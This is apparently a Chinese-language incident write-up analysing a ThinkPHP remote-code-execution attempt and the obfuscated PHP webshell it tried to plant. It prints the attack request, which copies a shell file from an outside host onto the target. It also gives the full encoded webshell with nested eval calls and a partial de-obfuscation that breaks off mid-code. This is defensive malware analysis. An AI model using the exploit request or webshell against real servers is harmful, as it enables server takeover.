一枚冗余代码的 webshell 分析
排查服务器告警的时候发现了一条 ThinkPHP RCE 的攻击尝试,引发了对一个 webshell 的分析
获取 webshell
告警的 payload 如下:
1
GET /index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][]=http://www.520yxsf.com/shell.txt&vars[1][]=libsoft.php HTTP/1.1
webshell 地址:http://www.520yxsf.com/shell.txt
curl 了一下出现了注意钓鱼的提示:
1 2 3 4 5 6
» curl http://www.520 yxsf.com /shell .txt ... <h2> What is phishing?</h2> <p> This link has been flagged as phishing. Phishing is an attempt to acquire personal information such as passwords and credit card details by pretending to be a trustworthy source .</p > ...
那当然是点击 Dismiss this warning and enter site
啦。
等一下,既然会被 Cloudflare 拦截,那么这个人的 payload 相当于没用啊。。。没事不要在意这些细节。。。
webshell 分析
拿到的 webshell 是这样的:
1
<?php define ('lkDwreIpUtyOiuvSVCZTJYLEQNMWPaAshFcoxGbHfBmXdgqKRjnz0209' ,__FILE__ );$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ =urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$rlbtQZsXxwWyRTJzUGLdHYhVSDBuAjqnmPeoNiMcIOfagkEvpKFC =$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {3 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {6 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {33 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {30 };$FwgPEKWBluDxXzcaYyvmTZbqSdjsGeLoJrVNQRpUAfHOhtInMiCk =$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {33 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {10 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {24 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {10 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {24 };$OpwGjCKDbakQuJWnEBXAHoMscxPUhZyFiYVeTmrtSIlgfzNdLqRv =$FwgPEKWBluDxXzcaYyvmTZbqSdjsGeLoJrVNQRpUAfHOhtInMiCk {0 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {18 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {3 }.$FwgPEKWBluDxXzcaYyvmTZbqSdjsGeLoJrVNQRpUAfHOhtInMiCk {0 }.$FwgPEKWBluDxXzcaYyvmTZbqSdjsGeLoJrVNQRpUAfHOhtInMiCk {1 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {24 };$XlFyvsPgLIcWEUJkzKhdxZjrumSDMoAntqHpbGOCafVYeNiQTRwB =$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {7 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {13 };$rlbtQZsXxwWyRTJzUGLdHYhVSDBuAjqnmPeoNiMcIOfagkEvpKFC .=$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {22 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {36 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {29 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {26 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {30 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {32 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {35 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {26 }.$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ {30 };eval ($rlbtQZsXxwWyRTJzUGLdHYhVSDBuAjqnmPeoNiMcIOfagkEvpKFC ("$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";eval('?>'.$rlbtQZsXxwWyRTJzUGLdHYhVSDBuAjqnmPeoNiMcIOfagkEvpKFC($FwgPEKWBluDxXzcaYyvmTZbqSdjsGeLoJrVNQRpUAfHOhtInMiCk($OpwGjCKDbakQuJWnEBXAHoMscxPUhZyFiYVeTmrtSIlgfzNdLqRv($yrNsBmYQPwqoDRzVIcHudeiOpvMXabLSFKAGUhftgEJkZnTjlCWx,$XlFyvsPgLIcWEUJkzKhdxZjrumSDMoAntqHpbGOCafVYeNiQTRwB*2),$OpwGjCKDbakQuJWnEBXAHoMscxPUhZyFiYVeTmrtSIlgfzNdLqRv($yrNsBmYQPwqoDRzVIcHudeiOpvMXabLSFKAGUhftgEJkZnTjlCWx,$XlFyvsPgLIcWEUJkzKhdxZjrumSDMoAntqHpbGOCafVYeNiQTRwB,$XlFyvsPgLIcWEUJkzKhdxZjrumSDMoAntqHpbGOCafVYeNiQTRwB),$OpwGjCKDbakQuJWnEBXAHoMscxPUhZyFiYVeTmrtSIlgfzNdLqRv($yrNsBmYQPwqoDRzVIcHudeiOpvMXabLSFKAGUhftgEJkZnTjlCWx,0,$XlFyvsPgLIcWEUJkzKhdxZjrumSDMoAntqHpbGOCafVYeNiQTRwB))));" ));?>
整理之后是这样的(为了篇幅不过长,我就只放图片了):
变量名随机而且很长,还有 eval,直接改为 echo 运行:
又是一大堆。。。eval 改 echo 继续运行,这次却报错了:
1 2 3 4 5 6
» php test2.php Fatal error : Uncaught Error : Function name must be a string in ~/Downloads/test2.php:3 Stack trace :#0 {main} thrown in ~/Downloads/test2.php on line 3
仔细一看发现代码中的 $FwgPEKWBluDxXzcaYyvmTZbqSdjsGeLoJrVNQRpUAfHOhtInMiCk
是在上一层定义的。。。好吧,那就把 echo 后的内容放到源文件里替换掉原来的 eval
呗,运行!:
没事 eval 换 echo 继续:
再来:
终于解到最后一层了。。。现在整个文件是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
<?php define ('lkDwreIpUtyOiuvSVCZTJYLEQNMWPaAshFcoxGbHfBmXdgqKRjnz0209' , __FILE__ );$hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ = urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$rlbtQZsXxwWyRTJzUGLdHYhVSDBuAjqnmPeoNiMcIOfagkEvpKFC = $hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ [3 ] . $hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ [6 ] . $hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ [33 ] . $hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ [30 ];$FwgPEKWBluDxXzcaYyvmTZbqSdjsGeLoJrVNQRpUAfHOhtInMiCk = $hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ [33 ] . $hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ [10 ] . $hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ [24 ] . $hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ [10 ] . $hJrlsZBnfGeqkRIVPbpNALSCEjaODYXHwTKudgivMUtomcyzxFWQ [24 ];$OpwGjCKDbakQuJWnEBXAHoMscxPUhZyFiYVeTmrtSIlgfzNdLqRv = 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;?> <?php define ('MoqfyESzbQIGFgpJOlvHLdukDtKiTwXYBZUNrajnsxcChWRAPVme0209' , lkDwreIpUtyOiuvSVCZTJYLEQNMWPaAshFcoxGbHfBmXdgqKRjnz0209);$pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP = urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$KklmGOierAFfHPMaqNpSuWhUBbZCnzQjXscVRTygJIYEoxdvLDtw = $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [3 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [6 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [33 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [30 ];$lUZzerPGtxyVRgLQYFaJcoNBjhTAIECiSkOHsdKXqfDnwpmvbWMu = $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [33 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [10 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [24 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [10 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [24 ];$hfLUoyvpTNYQgPmqJjurlabSGnsFetxkwDVCAicWZKIdEMzORHXB = $lUZzerPGtxyVRgLQYFaJcoNBjhTAIECiSkOHsdKXqfDnwpmvbWMu [0 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [18 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [3 ] . $lUZzerPGtxyVRgLQYFaJcoNBjhTAIECiSkOHsdKXqfDnwpmvbWMu [0 ] . $lUZzerPGtxyVRgLQYFaJcoNBjhTAIECiSkOHsdKXqfDnwpmvbWMu [1 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [24 ];$BxEtdzAILpbWjVCisZneouhfPkUvXrFMQwOlHgJKSGyNaDqmcTYR = $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [7 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [13 ];$KklmGOierAFfHPMaqNpSuWhUBbZCnzQjXscVRTygJIYEoxdvLDtw .= $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [22 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [36 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [29 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [26 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [30 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [32 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [35 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [26 ] . $pKCoIVzdUvMJmZNGQFByDTLkhtbSjHxisOYanerfXEcRlWwuqAgP [30 ];$sfVNmkDitJqygevUHXoTwnPujbOSZxRrchAzQBLaYGFpKICWlEdM = 